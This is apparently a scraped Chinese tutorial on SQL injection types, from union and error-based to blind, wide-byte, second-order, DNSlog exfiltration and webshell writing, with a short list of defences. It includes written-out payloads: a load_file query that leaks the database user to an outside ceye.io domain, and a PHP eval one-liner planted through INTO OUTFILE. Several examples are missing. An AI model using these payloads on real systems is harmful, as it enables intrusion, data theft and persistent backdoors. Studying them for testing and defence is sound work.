| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> 大数据 -> sql注入 -> 正文阅读 |
|
[大数据]sql注入 |
sql注入什么是sql注入?用户输入的参数未经处理直接带入数据库中进行查询,sql注入属于服务端攻击,他与操作系统,数据库类型,脚本语言无关。 sql注入通常存在?url参数框: sql注入的分类?数字型:当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。 加单引号,URL:www.text.com/text.php?id=3’ 会出现报错单引号报错 注入提交方法?get post cookie提交 注入攻击类型?1.union注入一般和order by,scheinformation_schem连用,爆数据库名,表名,列名,到最后的列数据。 2.报错注入updatexml: and updataxml(1,concat(0x7e,(),0x7e),1) --+一共可以接收三个参数,报错位置在第二个参数. 还有那几个数学函数: 3.http头部注入(工具burpsuit)User-Agent:使服务器能够识别客户端使用的操作系统,浏览器版本等(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)。 4.盲注时间盲注 基于数据库长度的时间盲注:andif((length(database()=8)),sleep(5),1)–+ 基于数据库名的盲注: 基于数据库名长度的盲注: 布尔盲注 Web页面仅仅返回类似True或False的两种结果。 判断数据库名长度: 判断数据库表名长度: 5.宽字节注入(突破字符转义)与gbk有关,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。 原理:%df和后面的/(%5c)变成一个汉字運,使得’逃逸出来。 **原因:根据gbk编码规则,第一个汉字ascii码大于128既可以了,如我们不用%df,用%a1也可以。%a1%5c他可能不是汉字,但一定会被mysql认为是一个宽字符,就能够让后面的%27逃逸了出来。 装逼继续说:gb2312和gbk会发生什么呢,gb2312,也是不成功的。这归结于gb2312编码的取值范围。它的高位范围是 预防方法?
6.二次注入举一个简单的例子: 第二次修改密码的时候我们修改admin #用户的密码的时候,发现admin的用户密码也修改了。 7.dnslog外带,在没有回显情况下。注意:loda_file函数在mysql8.0版本之后已经被弃用。 使用场景: 场景一:没有回显的情况下,一般编写脚本,进行自动化注入。但与此同时,由于防火墙的存在,容易被封禁 IP,可以尝试调整请求频率,有条件的使用代理池进行请求。 场景二:此时也可以使用 DNSlog 注入,原理就是把服务器返回的结果放在域名中,然后读取 DNS 解析时的日志,来获取想要的信息。 Mysql 中利用 load_file() 构造 payload:and load_file(concat(“\\”,hex(user()),“.ajma31.ceye.io\abc”))# 注意:这里因为结果里含有@关键字所以结果需要准换成十六进制编码才能实现。并且这里的.ajma31.ceye.io自己申请的,每个都不同。链接:https://blog.csdn.net/weixin_54217950/article/details/122972755 8.写webshell数据库中into outfile语句把表数据导出到一个文本文件中,那么利用这个语句,再配合满足的‘三个条件’,即可实现文件或者一句话木马导入到数据库文件的目录中。 语句: union select “<?php @eval($_POST['123']);?>”, 条件: sqlmap结合burpsuit进行注入1.如果是 get 注入,直接,sqlmap -u “注入点网址”. SQL 注入防护方法?1、涵数过滤,如!is_numeric 涵数 //判断变量 id 是否为数字 2、直接下载相关防范注入文件,通过 incloud 包含放在网站配置文件里面,如 360、阿里云、腾迅提供的防注入脚本 3、使用白名单来规范化输入验证方法 4、使用 Waf 拦截 5、采用 PDO 预处理 预编译能否 **100%**防 sql 注入,如果不能,写一个 不能。 一、
二、
sql注入参数过滤:
|
|
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2025年1日历 | -2025/1/15 23:29:34- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |